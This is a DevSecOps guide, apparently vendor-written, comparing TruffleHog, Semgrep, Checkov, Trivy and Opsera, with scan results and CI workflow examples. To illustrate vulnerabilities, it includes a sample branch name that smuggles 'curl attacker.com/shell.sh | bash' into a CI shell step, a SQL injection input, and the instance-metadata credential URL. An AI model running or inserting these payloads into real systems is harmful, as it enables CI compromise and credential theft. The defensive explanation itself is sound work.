TL;DR
- Security vulnerabilities are cheaper to fix at the commit stage than after merge. These five tools move detection left, into the PR check and CI pipeline, before a vulnerable build reaches staging.
- TruffleHog blocks hardcoded secrets before they hit a remote branch. Semgrep surfaces injection flaws and broken authentication at PR open. Checkov catches open S3 buckets and missing encryption before terraform apply runs. Trivy flags CVEs in container images and lock files before a build is promoted.
- Opsera ties the pipeline together, routing remediation tasks to the right team and automatically generating audit evidence with every run, so compliance doesn’t become a manual effort at quarter-end.
- Together, they close five gaps where vulnerabilities routinely slip through: committed credentials, vulnerable application code, misconfigured infrastructure, CVE-carrying container images, and untracked remediation.
A recent discussion in the DevSecOps community asked a simple question: Which AI-powered security tools can be integrated into a CI/CD pipeline to improve vulnerability detection, code analysis, and security automation?
The responses highlighted a common challenge. Software delivery pipelines in 2026 have too many moving parts for a single security tool to cover effectively. A typical deployment today includes application code, open-source dependencies, Terraform modules, container images, Kubernetes manifests, cloud resources, and third-party integrations. Each layer introduces its own security risks.
A developer can accidentally commit an AWS access key. A Terraform change can expose infrastructure to the public internet. A vulnerable package can enter the build through a routine dependency update. A container image can contain critical CVEs long before it reaches production.
This is why mature DevSecOps teams build multiple security controls directly into their CI/CD pipelines rather than relying on a single security scanner.
In this guide, we’ll look at five DevSecOps tools that secure different parts of the software delivery lifecycle: TruffleHog for secrets detection, Semgrep for source code security, Checkov for Infrastructure as Code validation, Trivy for container and dependency scanning, and Opsera for security automation, compliance, and remediation workflows.
Together, these tools help engineering teams catch issues earlier, automate security checks, and reduce the chances of insecure code, infrastructure, or artifacts reaching production.
What Layer of the CI/CD Pipeline Does Each DevSecOps Tool Scan?
Run one scanner, and you pick one blind spot. A SAST tool scanning Python for SQL injection doesn’t open the Dockerfile in the same repo. A container scanner checking image layers doesn’t read the Terraform file that exposes the cluster to the public internet. A secrets scanner that looks for hardcoded tokens doesn’t check whether the Node.js dependency tree includes a version of lodash that has a prototype pollution CVE.
Each attack surface has its own scanner, and no scanner crosses into another’s scope:
- A SQL query built from f-string interpolation is a code-layer vulnerability; a container scanner has nothing to check it against
- A Docker base image last rebuilt six months ago carries OS-level CVEs, and a SAST tool never opens the image layers
- A Terraform security group with port 22 open to 0.0.0.0/0 is an IaC misconfiguration; secrets detection doesn’t read .tf files
- A hardcoded Stripe key in a config file is a credential exposure; a dependency scanner checks package versions, not string literals.
A DevSecOps program that deploys only one of these scanners leaves three of those four surfaces with no coverage. That’s why all five tools in this guide can run in the same CI/CD pipeline without redundancy; they’re not checking the same things.
Key Criteria for Selecting DevSecOps Tools
The market for DevSecOps tools has hundreds of options. The tools that get bypassed or ignored share a pattern: high false-positive rates, findings that require a separate triage session before anyone can act, or scanners that operate outside the pull request workflow and are never checked.
Each tool in this guide was evaluated against four specific criteria.
- Direct CI/CD integration. Each tool runs as a pipeline step in GitHub Actions, GitLab CI/CD, Jenkins, or Azure DevOps. A security check that runs outside the pipeline, in a weekly batch job or a separate dashboard that developers rarely open- catches issues after code ships, not before.
- Coverage of distinct attack surfaces. The five tools collectively cover exposed credentials, application-layer vulnerabilities, infrastructure misconfigurations, container CVEs, and compliance gaps. Selecting five tools that all scan the same layer produces redundancy without reducing risk.
- Findings developers can act on in the same PR. A scanner that generates 200 findings per pull request trains developers to ignore it. Every tool in this list surfaces findings that map to a specific line of code, resource, or configuration, and includes enough context to fix without a separate investigation.
- Automation over manual validation. Security reviews that depend on a person manually running a scanner after every commit don’t scale past a small team. Each tool in this list either automates the security check itself, generates remediation guidance inline, or feeds into automated policy enforcement.
Best DevSecOps Tools in 2026
Each tool below targets a specific layer of the pipeline, credentials, source code, infrastructure, containers, and remediation, and runs independently without duplicating another tool’s coverage.
1. Opsera Agents: Automates Security Triage, Compliance Evidence, and Remediation Across the Pipeline
Managed platform that consolidates findings from multiple scanners into a single workflow, maps them to SOC 2, PCI DSS, and HIPAA controls, and generates per-finding remediation guidance.
Overview
A team running four scanners in a busy pipeline continuously generates findings. Trivy returns 40 container vulnerabilities across three images. Checkov adds 12 IaC findings from a Terraform change. Semgrep flags 6 application-level issues in a new service. TruffleHog surfaces 2 verified secrets.
Those 60 findings need to be assigned to the engineer who owns the affected service, prioritized by severity and exploitability, tracked until resolved, and documented for compliance reviews. Most teams handle this through spreadsheets, JIRA exports, and weekly security syncs. Medium-severity findings from three months ago sit unresolved because no prioritization decision was ever made. That’s where detection programs stall, not from a lack of findings, but from a lack of workflow around them.
How It Works
Opsera provides four AI agents that sit above existing scanners and automate the triage, compliance, and remediation layer.
- Security Scan Agent wraps multiple scanners, secrets detection via Gitleaks, SAST via Semgrep, container and dependency scanning via Trivy, into a single workflow call. One trigger, one unified report with risk scores and prioritized remediation steps instead of three separate dashboards. Teams that already have those tools running independently don’t replace them; they route through the agent for consolidated output.
- Architecture Analyze Agent reads an existing codebase or cloud environment and produces service dependency maps, API endpoint inventories, and disaster recovery gaps. Most useful for security reviews of services the team didn’t build, an acquired codebase, a legacy service before migration, or attack surface documentation ahead of a pen test.
- Compliance Audit Agent: SOC 2, PCI DSS, HIPAA, and ISO 27001 all require evidence collection: access control logs, configuration exports, scan results mapped to specific framework controls. Most teams collect this manually in the weeks before an audit. The Compliance Audit Agent automatically maps scanner findings to framework controls and produces a gap report that includes which controls pass, which fail, and the evidence supporting each determination.
- SQL Security Agent scans database code for SQL injection paths, hardcoded credentials in connection strings, PII stored without column-level encryption, and missing table-level access controls.
For each finding, it outputs a concrete fix, the rewritten parameterized query, the environment variable pattern replacing the hardcoded credential, or the encryption approach for the affected column.
Opsera in Action: SOC2 Audit on dp-app, Score 42/100, 5 Critical Gaps the Other Scanners Missed
Opsera’s Compliance Audit Agent was run against the same dp-app infrastructure using an AI agent session. The agent read the Terraform configuration, Kubernetes manifests, Helm charts, and deployment scripts, then mapped the findings against SOC 2 control requirements and produced a scored audit report.
Compliance score: 42/100 HIGH RISK, NON-COMPLIANT
The finding that the other four scanners missed, no change control
TruffleHog, Semgrep, Checkov, and Trivy all scan code and configuration. None of them read scripts/setup.sh and flagged this:
terraform apply -auto-approve-auto-approve bypasses the plan review step entirely. There is no human approval in the change management workflow, no required reviewer, and no audit trail of who approved what infrastructure change and when. Under SOC2 CC6.8 (change management controls), this is a CRITICAL gap. No code scanner catches it because it’s a process failure, not a code vulnerability.
Five CRITICAL gaps the audit flags
| Finding | SOC2 Control | Impact |
| terraform apply -auto-approve in setup script | CC6.8, Change Management | No approval gate before infrastructure changes |
| PostgreSQL password in Kubernetes Secret YAML | CC6.1 Logical Access | Plaintext credentials are accessible to anyone with repo read |
| No CloudWatch, no VPC Flow Logs, no audit trails | CC7.2 , Monitoring | Zero visibility into access events or anomalies |
| Admin and app CIDRs set to 0.0.0.0/0 | CC6.6, Network Controls | Unrestricted ingress and egress |
| No incident response plan or RACI matrix | CC9.1, Risk Management | No documented response procedure for security events |
The Postgres secret finding cross-validates what Checkov caught earlier (CKV_SECRET_6 on kubernetes/02-postgres-secret.yaml). The difference is context: Checkov flags it as a secret pattern match. Opsera maps it to SOC 2 CC 6.1 Logical Access controls and adds it to the audit evidence gap report, alongside the missing policy documentation.
Five additional HIGH findings
- CloudTrail logging nis ot enabled, and there is no record of API calls made to the AWS account
- No IAM role session logging, no record of which IAM role was used for which operation
- S3 bucket missing customer-managed KMS encryption (Checkov flagged CKV_AWS_132 for the same resource)
- No multi-region backup replication for the Velero backup bucket
- Kubernetes RBAC not enforced, no ClusterRole or RoleBinding definitions in any manifest
Remediation roadmap with effort and cost estimates:
This is the output type that separates Opsera from the four scanning tools. TruffleHog returns a list of verified credentials. Semgrep returns 145 code findings. Checkov returns 33 IaC failures. Trivy returns CVE counts. None of them answers the question an auditor asks: “Are you ready for SOC2, and if not, what does it take to get there?” Opsera answers that question with a score, a control-by-control gap map, and a phased roadmap with hours and dollars attached.
The full audit report was saved as an HTML file at/Users/shivanshmishra/Desktop/dp-app/SOC2_COMPLIANCE_AUDIT_REPORT.html, an audit-ready document that maps every finding to its SOC2 control requirement.
Best For
Opsera fits teams that already run two or more security scanners and have remediation as the bottleneck, not detection. Findings accumulate, ownership is unclear, compliance evidence is collected manually, and medium-severity vulnerabilities sit unaddressed for weeks. It addresses the operational layer, not the detection layer.
Teams without foundational scanner coverage won’t benefit from it until TruffleHog, Semgrep, Checkov, or Trivy are in place. AI-generated remediation suggestions should be reviewed before applying; they point in the right direction, but are not merge-ready patches. Available as a managed platform, not open-source.
2. TruffleHog: Detects Verified Active Credentials Across Source Code and Git History
Open-source secrets scanner that detects and live-verifies exposed credentials across current code, Git history, and pull requests before they reach production.
Overview
A developer commits an AWS access key inside a .env file, catches the mistake twenty minutes later, and removes it in a follow-up commit. The key is gone from the current working tree, but it still lives in the original commit, any forks created before deletion, CI/CD logs that captured it during that run, and cached build artifacts. The credential works until someone rotates it in AWS IAM. Removing a secret from the source does not revoke it.
This is why secret detection needs to scan history, not just the current state. TruffleHog covers both.
How It Works
TruffleHog scans the current source code, every commit across all branches, and open pull requests before they merge, so a credential committed three months ago and deleted a week later still gets caught.
It covers over 700 credential types: AWS Access Keys, GitHub Personal Access Tokens, GCP Service Account Keys, Azure credentials, Stripe API keys, Slack tokens, database connection strings, and high-entropy strings matching known patterns.
The key feature that separates it from most secret scanners is credential verification. When TruffleHog finds a string matching an AWS Access Key format:
AWS_ACCESS_KEY_ID=AKIAxxxxxxxx
AWS_SECRET_ACCESS_KEY=xxxxxxxxIt makes a live API call against the AWS auth endpoint to check whether the key still works. A finding marked Verified means the credential is active right now. Unverified means the pattern matched, but the key is likely already rotated. That distinction cuts noise significantly; a repo with 200 commits might surface dozens of historical secrets, but only a handful are actually live and need immediate action.
Hands-on section: Scanning a Cal.com Fork, 46 Unverified Secrets, 0 Verified, One Token That Needs Rotating
trufflehog filesystem . hit a Cal.com fork and returned 46 findings in 23 seconds, all unverified, none currently confirmed live. The real work is separating the one finding that matters from the 45 that don’t.
The most actionable result was a Google OAuth2 access token committed directly to apps/web/calendso.yaml. OAuth tokens have validity windows, and unverified doesn’t mean safe; it means TruffleHog couldn’t confirm expiry. This one needs rotation.
The remaining findings split into two categories: intentional placeholders (a Postgres DSN with magical_password in the README, a GCP fixture with literal “PRIVATE_KEY” strings in a test file) and pure noise from .yarn/install-state.gz and yarn.lock, which generated 30+ pattern matches against FlatIO, CircleCI, and Box detectors. None of those verified. Adding a .trufflehogignore to exclude .yarn/, yarn.lock, and *.gz brings the list down to three findings worth reviewing.
In CI, –only-verified is the flag that makes this usable at scale; it means only live, confirmed credentials block the PR:
- name: Run TruffleHog
uses: trufflesecurity/trufflehog@main
with:
extra_args: --only-verified --exclude-paths=.trufflehogignorefetch-depth: 0 on the checkout step is non-negotiable; without it, TruffleHog scans only the latest commit and misses everything buried in history.
Best For
TruffleHog is the right first control for any team that doesn’t currently have secrets detection in the PR workflow. Developers can commit API keys, database passwords, or cloud credentials without a pipeline failure. It deploys in under an hour for GitHub Actions and immediately shows whether any credentials in the repo’s history are still live. It covers secrets only. Vulnerability scanning, IaC analysis, and container scanning are outside its scope.
Rotating a leaked credential closes one exposure path. But vulnerabilities written directly into application code, SQL injection, command injection, and auth bypass don’t show up in any secrets scan.
3. Semgrep: Identifies Injection Vulnerabilities and Insecure Patterns Before the Pull Request Merges
Open-source SAST tool that parses source code into an AST to flag SQL injection, XSS, command injection, and taint-tracked vulnerability paths across 30+ languages.
Overview
A developer writes a Django endpoint that constructs a raw SQL query from user input:
def get_user(user_id):
query = f"SELECT * FROM users WHERE id={user_id}"
cursor.execute(query)
return cursor.fetchone()The unit test passes user_id=42. The integration test does the same. Both return the expected row. Both pass. The PR merges, and that endpoint accepts arbitrary SQL from any HTTP caller who sends user_id=1 OR 1=1–. The function works correctly in every test scenario the team wrote. Functional test coverage and injection resistance are completely independent. Tests verify expected behavior; they don’t probe adversarial inputs. That’s where SAST fills the gap.
How It Works
Instead of scanning raw text, Semgrep parses source files into an Abstract Syntax Tree. A SQL string built from a constant is structurally different from one assembled with request input; Semgrep knows the difference. A regex scanner doesn’t.
Rules describe structural patterns rather than string matches. “User input flows into a SQL construction call without a parameterized query wrapper” is a structural rule. The community library ships hundreds of pre-built rules covering SQL injection, XSS, SSRF, command injection, insecure cryptography, and auth bypass across Python, JavaScript, TypeScript, Go, Java, C#, Ruby, PHP, and more.
For vulnerabilities spanning multiple functions, Semgrep’s taint mode traces untrusted input from its entry point through every intermediate call until it hits a sensitive operation without sanitization:
HTTP request parameter -> passed to helper function -> used in a raw database query with no parameterization
A pattern match only on the database call misses the case where the dangerous value is passed through three helper functions first. Taint mode maps the full path.
Hands-on section: Scanning a Cal.com Fork, 145 Blocking Findings, Four GitHub Actions Workflows With Shell Injection
semgrep scan hit 7,309 git-tracked files in 77 seconds and returned 145 findings, every one marked blocking. The most serious class wasn’t in the application code at all.
Four GitHub Actions workflow files had run-shell-injection findings where ${{…}} context values were interpolated directly into shell commands. A PR branch named feature/test; curl attacker.com/shell.sh | bash would execute that payload in the CI runner with full access to repository secrets.
The fix is an intermediate environment variable, move ${{ inputs.path }} into env: first, then reference it as $INPUT_PATHin the shell step. The pattern appeared in four separate workflow files.
Beyond the CI/CD findings: ten OAuth callback handlers across the app store integrations (feishucalendar, hitpay, intercom, stripepayment, paypal, and others) all call res.redirect(url) with user-controlled input, one rule flagged all ten in a single pass. Two Dockerfiles were missing a USER instruction; Semgrep generated the exact fix line for both via –autofix. The same Google OAuth token TruffleHog caught in calendso.yaml also appeared here, independently, as a blocking structural match, a useful cross-validation that both tools are scanning the same surface.
yaml
- uses: returntocorp/semgrep-action@v1
with:
config: "p/security-audit p/owasp-top-ten"All 145 findings block the PR by default. The shell injection findings alone are enough to justify adding this to any pipeline that accepts contributions from outside the core team.
Best For
Semgrep fits teams writing SQL queries, handling HTTP request input, or building authentication logic where no scanner currently checks those code paths before merge. Its false-positive rate is low enough that most teams don’t need a dedicated triage process. It covers static analysis of application source code; it does not scan infrastructure files, container images, or dependency CVE databases. A vulnerable version of requests in requirements.txt passes Semgrep cleanly.
Semgrep covers the application code layer. The infrastructure running that application, S3 buckets, security groups, Kubernetes workloads, and IAM roles, is managed through its own code and carries its own class of misconfigurations that no SAST tool reads.
4. Checkov: Blocks Insecure Terraform and Kubernetes Configurations Before Deployment
Open-source IaC scanner that evaluates Terraform, Kubernetes YAML, Helm charts, and CloudFormation against 1,000+ security policies before a single cloud resource is created.
Overview
Terraform validates HCL syntax and resource references. It does not check whether a configuration is secure. A developer writes a security group that opens SSH to the world:
resource "aws_security_group" "web" {
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
}terraform validate returns no errors. terraform plan shows the resource will be created exactly as written. The security group deploys with port 22 open to 0.0.0.0/0. The same gap applies to S3 buckets with public access enabled, RDS instances with encryption disabled, and IAM policies granting “Action”: “*” on “Resource”: “*”. Terraform ships whatever it receives.
Checkov runs before terraform apply and flags the misconfiguration before the resource exists.
How It Works
Checkov parses the infrastructure file and builds a resource graph before running any checks. That graph matters because most misconfigurations only become risks in context. A security group with port 22 open is one finding. That same security group attached to an EC2 instance fronted by a public ALB is a different risk entirely. Checkov evaluates the connected path, not each resource in isolation. Against that graph, Checkov runs over 1,000 built-in policy checks, each with a specific ID:
CKV_AWS_24
Security Group opens SSH to 0.0.0.0/0
Severity: High
Resource: aws_security_group.web
File: main.tf, Line 12
Findings map directly to CIS Benchmarks, PCI DSS, HIPAA, SOC 2, and NIST controls. A team heading into a SOC 2 audit can filter by control ID and export findings as evidence without manually cross-referencing scanner output against framework requirements.
Common findings:
Public S3 bucket:
resource "aws_s3_bucket_public_access_block" "example" {
block_public_acls = false
}CKV_AWS_53, S3 bucket has public access block disabled
Unencrypted RDS:
resource "aws_db_instance" "db" {
storage_encrypted = false
}CKV_AWS_17, Database storage is not encrypted
Wildcard IAM:
{ "Action": "*", "Resource": "*" }
CKV_AWS_40, IAM policy allows full administrative accessScanning a K3S Deployment, 8 Terraform Failures, a Variable That Fools the Scanner, and a Password in Kubernetes
checkov -d . ran against dp-app and scanned Terraform, Kubernetes, Dockerfiles, and secrets simultaneously:
The 8 Terraform failures aren’t all equal. The most exploitable is CKV_AWS_79 , IMDv2 not enforced on the k3s EC2 instance:
resource "aws_instance" "k3s" {
associate_public_ip_address = true
# no metadata_options block
}Without metadata_options { http_tokens = “required” }, the Instance Metadata Service accepts unauthenticated requests. Any process running on the instance , including a compromised container, can query http://169.254.169.254/latest/meta-data/iam/security-credentials/ and retrieve the instance’s IAM role credentials without presenting a session token. The fix is one block:
metadata_options {
http_tokens = "required"
}Two related findings compound the exposure. The instance gets a public IP from two directions at once:
Both expose the same instance. One from the instance config, one from the subnet default.
Where Checkov’s static analysis hits its limit
CKV_AWS_24 flags the SSH ingress rule, but this one is worth pausing on:
Check: CKV_AWS_24
Resource: aws_security_group.k3s ingress rule
File: terraform/main.tf:74–80
Issue: SSH ingress uses cidr_blocks = [var.admin_cidr], Checkov treats any variable-sourced CIDR as potentially 0.0.0.0/0Checkov cannot resolve var.admin_cidr at scan time. The actual intent is to restrict SSH to a specific admin IP address, which is a correct security practice. This is a genuine static analysis limitation: Checkov evaluates the file, not the deployed state. Teams hit this frequently with variable-driven CIDR blocks. Once reviewed, suppress it inline:
#checkov:skip=CKV_AWS_24:SSH restricted to admin_cidr variable, reviewedThe 18 passing checks are worth noting because they show what the team got right. Checkov confirmed no IAM wildcard policies (CKV_AWS_63), no hardcoded AWS access keys in providers.tf (CKV_AWS_41), no secrets embedded in EC2 user_data (CKV_AWS_46), and all four S3 public access block settings properly configured (CKV_AWS_53, CKV_AWS_54, CKV_AWS_55, CKV_AWS_56).
The one real secret Checkov found in Kubernetes.
Among 38 secret findings, 37 were noise from the checkov-env/ virtual environment. One was real:
A base64-encoded database password committed in a Kubernetes Secret YAML. The manifest is in version control, so the password is accessible to anyone with read access to the repository. The fix is to move the secret to an external secret manager (AWS Secrets Manager, Vault, Sealed Secrets) and reference it by name rather than embed the value.
Cutting the virtual environment noise
All 37 of those false-positive secrets and both false-positive Dockerfiles came from scanning checkov-env/, the Python virtual environment created to install Checkov itself. Chekov misidentified checkov/common/util/dockerfile.py as an actual Dockerfile because the filename matches its detection pattern. The fix is one flag:
checkov -d . --skip-path checkov-envIn CI, add the virtual environment directory to .checkovignore:
checkov-env/Running Checkov in CI to block insecure infrastructure before deployment
name: Checkov Scan
on:
pull_request:
jobs:
checkov:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run Checkov
uses: bridgecrewio/checkov-action@master
with:
directory: .
framework: terraform,kubernetes
skip_path: checkov-env
halt_on_broken_checks: truehalt_on_broken_checks: true fails the pipeline on any HIGH or CRITICAL finding; the IMDSv1 exposure and the double public-IP configuration would both have blocked this PR. Teams doing a phased rollout can start with soft_fail: true, which surfaces all findings without blocking merges until the backlog is cleared.
Best For
Checkov is the right fit for platform engineering teams managing infrastructure through Terraform, or Kubernetes manifests, where terraform apply currently runs with no pre-deployment security check. It catches public bucket exposures, open security groups, and wildcard IAM policies before resources are created, not after. It covers IaC files only; it does not assess live cloud environments. Resources deployed before Checkov was added to the pipeline won’t be scanned until a new PR modifies their configuration.
Checkov secures the infrastructure layer. The containers running on that infrastructure carry their own risks, outdated OS packages, vulnerable application libraries, and privilege settings that no .tf file describes.
5. Trivy: Scans Container Images and Dependencies for Known CVEs Before Images Reach the Registry
An open-source vulnerability scanner that unpacks every image layer and checks OS packages and language dependencies against NVD, GitHub Advisory, and OS-specific CVE databases.
Overview
A team’s Dockerfile starts with FROM ubuntu:22.04. The base image pulled six months ago included OpenSSL 1.1.1t. Three months later, CVE-2023-0286 was published against it, a type-confusion vulnerability that allows a remote attacker to read memory or crash the process.
Nobody changed the Dockerfile. Nobody changed the application code. The vulnerability entered through the base image version pinned at the last build, and it stays there until someone rebuilds against a patched version. On top of that, the application pulls its own dependencies via npm install or pip install. A requirements.txt pinned to requests==2.27.0 carries every CVE published against that version until someone updates the pin.
Trivy scans every layer of the image against CVE databases before it reaches the registry.
How It Works
Trivy unpacks each image layer and inventories everything installed, OS packages via apt, apk, or yum; Python packages in site-packages; Node modules in node_modules; Java JARs in the classpath; Go modules compiled into the binary. Not just application code. Everything.
That inventory gets checked against NVD, the GitHub Advisory Database, and OS-specific advisories for Alpine, Debian, Ubuntu, and RHEL, plus language-specific databases for PyPI, npm, RubyGems, Go, and Maven. Each finding returns the package name, CVE ID, severity, and the version that fixes it.
Beyond image scanning, Trivy checks Kubernetes YAML for privilege misconfigurations and generates a Software Bill of Materials in CycloneDX or SPDX format. The SBOM becomes useful when a new CVE drops; instead of re-scanning every image, teams check their existing SBOMs to see which images carry the affected package version.
Hands-on section: Scanning a k3s Deployment, CRITICAL Egress Rule, and Four Private Keys Buried in terraform.tfstate
Running Trivy against the dp-app project with all three scanners enabled:
trivy fs --scanners vuln,secret,misconfig .This single command scanned Kubernetes manifests, Terraform files, and the full directory for secrets simultaneously. Here’s what came back from an actual project scan:
The scan found 1 CRITICAL, 4 HIGH in Terraform, and the CRITICAL leads with a network-level gap:
In a compromised container scenario, this allows an attacker to exfiltrate data or reach external infrastructure without any network-level restrictions.
Four HIGH findings sit alongside it: the EC2 instance isn’t enforcing IMDSv2 tokens (AWS-0028), the subnet auto-assigns public IPs (AWS-0164), the S3 bucket uses AES256 instead of a customer-managed KMS key (AWS-0132), and VPC Flow Logs are disabled (AWS-0178, meaning there’s no network traffic record for incident investigation.
The finding most teams walk past is the secrets column on the state files:
Finding: AsymmetricPrivateKey, HIGH (×4)
File: terraform/terraform.tfstate · Lines 961, 1008, 1009, 1010
Key types: RSA private key + OPENSSH private key
Finding: AsymmetricPrivateKey, HIGH (×4)
File: terraform/terraform.tfstate.backup · Lines 961, 1008, 1009, 1010
Key types: RSA private key + OPENSSH private keyThe state file contains RSA and OPENSSH private keys embedded in plaintext across both the active state and its backup. State files get committed to repositories constantly; they’re treated as build artifacts, not secrets. Once terraform.tfstate is in version control, every key inside it is as exposed as a hardcoded credential. Both the active state and the backup carry the same keys.
Add both to .gitignore immediately. For a remote state, use S3 with server-side encryption and block all public access on the bucket.
Kubernetes surfaces 25 misconfigurations spread across both manifests:
Both postgres-statefulset.yaml and nginx.yaml have the same cluster of issues: allowPrivilegeEscalation not set to false (KSV-0001), no seccomp profile specified (KSV-0030, KSV-0104), containers not running as non-root (KSV-0012), and default security context in use, which allows root privileges (KSV-0118 HIGH).
The fix across both manifests is the same securityContext block:
securityContext:
allowPrivilegeEscalation: false
runAsNonRoot: true
runAsUser: 10001
runAsGroup: 10001
readOnlyRootFilesystem: true
seccompProfile:
type: RuntimeDefault
capabilities:
drop:
- ALLAdding Trivy to the PR pipeline to block these before push:
name: Trivy Scan
on:
pull_request:
jobs:
trivy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build image
run: docker build -t app:${{ github.sha }} .
- name: Run Trivy
uses: aquasecurity/trivy-action@master
with:
image-ref: app:${{ github.sha }}
severity: CRITICAL,HIGH
exit-code: 1
ignore-unfixed: trueexit-code: 1 would have blocked this PR, the CRITICAL egress finding, and the HIGH private keys in the state file both exceed the threshold. ignore-unfixed: true keeps noise down by excluding CVEs with no available patch yet.
Best For
Trivy fits any team that ships Docker images, where no scanner currently checks those images for OS-level CVEs or dependency vulnerabilities before they reach the registry. Containerized applications inherit vulnerabilities from base images that the application team never wrote and rarely monitors. Trivy makes those visible at build time. It covers static image scanning and Kubernetes manifests. It does not provide live runtime threat detection; a compromised process running inside an already-deployed container is outside its scope.
TruffleHog, Semgrep, Checkov, and Trivy each generate findings continuously. In an organization running all four across dozens of repos, the bottleneck shifts from detection to ownership, which team fixes which finding, how severe is it in context, and when does it actually get resolved?
How These Five DevSecOps Tools Cover Different Layers of the Delivery Pipeline
Each tool in this guide addresses a distinct security layer. The table below describes specifically what each tool does in each capability area, not whether it has it, but how it covers it and where it stops.
| Capability | TruffleHog | Semgrep | Checkov | Trivy | Opsera |
| Secrets Detection | Scans current code and full Git history, verifies credentials live via API call | Detects hardcoded secrets via structural rules, no live verification | Entropy-based detection in IaC files only, no Git history scan | Detects secrets embedded in filesystem, image layers, and config files | Delegates to Gitleaks under the hood, adds triage and unified reporting |
| Static Code Analysis | Reads credential patterns only, does not parse code structure | AST-based parsing with taint tracking, 700+ rules across 30+ languages | Reads HCL and YAML config, does not analyze application source code | Reads package manifests and image layers, does not parse source code | Delegates to Semgrep surface results in a consolidated risk report |
| Dependency Scanning | Does not read package manifests or lock files | Reads source code only, does not evaluate package manifest CVEs | Does not scan language dependencies or package ecosystems | npm, pip, Maven, Go, RubyGems checked against NVD, GitHub Advisory, and OS-specific databases | Delegates to Trivy adds risk prioritization across dependency findings |
| Infrastructure as Code | Does not read Terraform, Kubernetes, or CloudFormation files | Does not evaluate IaC configuration or cloud resource definitions | Terraform, Kubernetes YAML, Helm, CloudFormation, 1,000+ policy checks before deployment | Terraform and Kubernetes manifest misconfiguration scanning | Aggregates IaC findings from connected scanners, maps to compliance controls |
| Container Image Scanning | Does not unpack or analyze container image layers | Does not scan container images or Dockerfile output | Dockerfile instruction linting only, no image layer or package analysis | Full layer-by-layer analysis of OS packages and language deps against NVD and OS advisories | Delegates to Trivy for image scanning, adds consolidated output and scoring |
| Kubernetes Security | Does not read Kubernetes manifests | Does not evaluate Kubernetes resource configurations | Manifest policy checks covering securityContext, RBAC, and privilege settings | Manifest misconfiguration detection and SBOM generation per workload | Consolidates Checkov and Trivy Kubernetes findings into a single view |
| Compliance Mapping | Does not map findings to any compliance framework | Does not map findings to compliance controls | Maps every finding to CIS Benchmarks, PCI DSS, HIPAA, SOC 2, and NIST by check ID | Does not map findings to compliance frameworks | Full SOC 2, PCI DSS, HIPAA, and ISO 27001 gap reports with audit-ready documentation |
| Architecture Analysis | Does not read service topology or infrastructure relationships | Does not analyze service dependencies or system architecture | Does not model service relationships beyond the resource graph within a single IaC file | Generates SBOM per image in CycloneDX or SPDX, component inventory, not service topology | Service dependency maps, API endpoint inventories, and disaster recovery gap analysis |
| Remediation Guidance | Flags active credentials; rotation steps are the team’s responsibility | Fix direction in rule descriptions; –autofix applies patches for select rules | Links to Prisma Cloud documentation per check ID | Lists the fixed package version per CVE finding | Per-finding fix recommendations, including query rewrites, config changes, and migration paths |
| AI-Assisted Workflows | No AI layer, deterministic pattern matching, and live verification only | No AI layer, rule-based structural analysis | No AI layer, policy checks against a fixed rule library | No AI layer, CVE database lookups, and manifest evaluation | Four AI agents: security scan consolidation, SOC 2 compliance audit, architecture review, SQL security |
| CI/CD Integration | GitHub Actions, GitLab CI/CD, Jenkins, pre-commit hooks | GitHub Actions, GitLab CI/CD, Jenkins, VS Code extension | GitHub Actions, GitLab CI/CD, Jenkins, pre-commit hooks | GitHub Actions, GitLab CI/CD, Jenkins, Kubernetes admission controller | GitHub Actions, GitLab CI/CD, Jenkins, Azure DevOps |
| Open-Source | Yes, Apache 2.0, self-hosted | Yes, LGPL 2.1, self-hosted | Yes, Apache 2.0, self-hosted | Yes, Apache 2.0, self-hosted | No, managed SaaS platform, subscription required |
The five tools do not duplicate each other’s primary coverage. Each one reads a surface the others don’t, which is why running all five in the same pipeline catches what any single scanner misses.
Start With Detection, Then Automate the Remediation Layer
A pipeline that runs TruffleHog, Semgrep, Checkov, and Trivy on every PR catches secrets before they enter version control, flags injection vulnerabilities before merge, blocks insecure Terraform before cloud deployment, and surfaces container CVEs before images are pushed. Each tool runs independently and addresses a security layer that the others don’t cover. The limiting factor for most teams is not detection; it’s what happens after a scanner returns a finding. Ownership is unclear. Priority isn’t set. Compliance evidence isn’t collected. Fixes wait. That is where security programs stall, and that is what a remediation layer like Opsera addresses.
A mature DevSecOps program combines both layers: automated detection that runs continuously in the CI/CD pipeline, and automated triage and remediation workflows that close the gap between a finding and a fix.
The tools covered in this guide are not the only DevSecOps tools available. These are five that cover distinct attack surfaces, integrate directly into pull request workflows, and produce findings that developers can act on without a dedicated security review cycle between the scanner and the fix.
